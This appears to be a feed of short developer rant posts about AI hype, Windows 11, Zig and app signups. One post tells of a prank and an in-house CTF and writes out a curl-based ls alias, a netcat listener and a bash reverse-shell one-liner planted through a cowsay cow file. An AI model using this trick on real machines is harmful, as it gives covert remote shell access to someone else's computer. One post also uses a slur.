The symbol for things to avoid in biology: ☣️
The symbol for things to avoid in physics: ☢️
The symbol for things to avoid in IT: ✨

Lost all the lead engineers in my org. Now I'm the most senior.

God help us all.

The next pirate bay is just "the internet without stupid age verification", I'm calling it now.

My scripts are made to be stupid-proof. Turns out I should have written them extra-stupid-proof.

client generated our goals and guidelines with Claude
Had a 2 hour meeting trying to understand what they want from us
Now we're using ChatGPT analysing the meeting's transcript to explain to us what the client wants from us

STOP USING AI IN HUMAN-HUMAN COMMUNICATIONS FFS

Zig needs to get its shit together frankly.

I know the guy wants to perfect his little design, but has he never considered the fact that the shifting sands of perfection will never align for him?

Instead of working on making progress with the design he already established, he just keeps going back and changing fundamental parts as he sees fit and never making any forwards prog-

oh my god he's me.

"We weren't able to come up with a solution before because we were using GPT-3, and now GPT-5 has come out which is so much better"

"Even if the issue's unique, it's the context that matters. Had we put in a higher level prompt, we would've fixed this issue already"

"We absolutely need to implement an AI-first system because Amazon laid off so many engineers because of AI, it must mean that we are not using it properly."

"I'm gonna put a $1000 into trying Devin, and if it doesn't work, we're gonna keep trying over and over until we eventually reach the solution"

sigh....

Picture this: a few years back when I was still working, one of our new hires – super smart dude, but fresh to Linux – goes to lunch and *sins gravely* by leaving his screen unlocked. Naturally, being a mature, responsible professionals… we decided to mess with the guy a tiny little bit. We all chipped in, but my input looked like this:

alias ls='curl -s http://internal.server/borat.ascii -o /tmp/.b.cow; curl -s http://internal.server/borat.quotes | shuf -n1 | cowsay -f /tmp/.b.cow; ls'

So every time he called `ls`, before actually seeing his files, he was greeted with Borat screaming nonsense like “My wife is dead! High five!” Every. Single. Time. Poor dude didn't know how to fix it – lived like that for MONTHS! No joke.

But still, harmless prank, right? Right? Well…

His mental health and the sudden love for impersonating Cohen's character aside, fast-forward almost a year: a CTF contest at work. Took me less than 5 minutes, and most of it was waiting. Oh, baby! We ended up having another go because it was over before some people even sat down.

How did I win? First, I opened the good old Netcat on my end:

nc -lvnp 1337

…then temporarily replaced Borat's face with a juicy payload:

exec "sh -c 'bash -i >& /dev/tcp/my.ip.here/1337 0>&1 &'";

Yes, you can check that on your own machine. GNU's `cowsay -f` accepts executables, because… the cow image is dynamic! With different eyes, tongue, and what-not. And my man ran that the next time he typed `ls` – BOOM! – reverse shell. Never noticed until I presented the whole attack chain at the wrap-up. To his credit, he laughed the loudest.

Moral of the story?

🔒 Lock your screen.
🐄 Don’t trust cows.
🎥 Never ever underestimate the power of Borat in ASCII.

GREAT SUCCESS! 🎉

Why does everything require an account these days?
I just wanted to try out a simple to-do list app. Next thing I know, it's asking for my email, phone number, and the name of my first pet. I'm not buying a house — I just want to tick off "buy milk."
Whatever happened to lightweight, no-signup tools? Devs, bring back simplicity please.
/end rant

tmux I love you

Didn't realize how disgusting Facebook was. If a girl removes her profile picture they have determined this person hates their look. So they start spamming them with makeup ads. If a person is suicidal they start spamming them with other ads they think are relevant.

This guy brought this to my attention:
https://youtube.com/watch/...

He seems to be in the trenches against, or reporting on right to repair. Not quite sure. I think he makes some interesting observations about how tech is weaponized against consumers.

I tried GPT5.

It's still retarded.

I discover every day some new annoyment with Windows 11. So far, I haven't found a single advantage over Windows 10. Windows 11 is a 100% downgrade.

Turns out it wasn't the RAM nor the graphics card but the barely used NVME (that I recently started using with linux as boot) that was causing random crashes.

Very tempted to still just replace the whole thing...

Nothing too important on there other than my bash history and LLM models

Like many of us, tired of hearing the expressions: "infused with A.I.", "powered by A.I.", "augmented with A.I.", "A.I.-first", etc.

I actually think that auto-completing pull requests with any merge strategy other than fast-forward is completely insane. WTF do you mean the final version of the code is produced with no humans present?

I have nobody to share this so I will inflict myself on you guys.

I genuinelly laughted out loud from reading the Hot Potato Licence

https://github.com/ErikMcClure/...

@Lensflare, your bots are doing pretty good. I will see a spam, then I refresh and its gone. Definitely makes this place more tolerable. Are your bots keeping up? Any fallen warriors?

I waited so long to brag about this fact: I finish whatever project I start. No matter how bored I get, I never abandon it midway or get sidetracked into some shiny new gig. I was gloating and jubilating this evening cos I can beat my hands against my chest after months and months at a stretch. Held a little party on my WhatsApp status haha

++age

Can’t believe it’s been a year already. Currently enjoying a month-long break from work, almost halfway through it. Realizing that I’m at an age where I need to recover from going to a museum, which is wild. But I’m taking the time to visit museums during my PTO instead of just sitting at home binge watching shows like normal.

Unrelated, I tried to crochet a Chucky doll and it turned out.. interesting.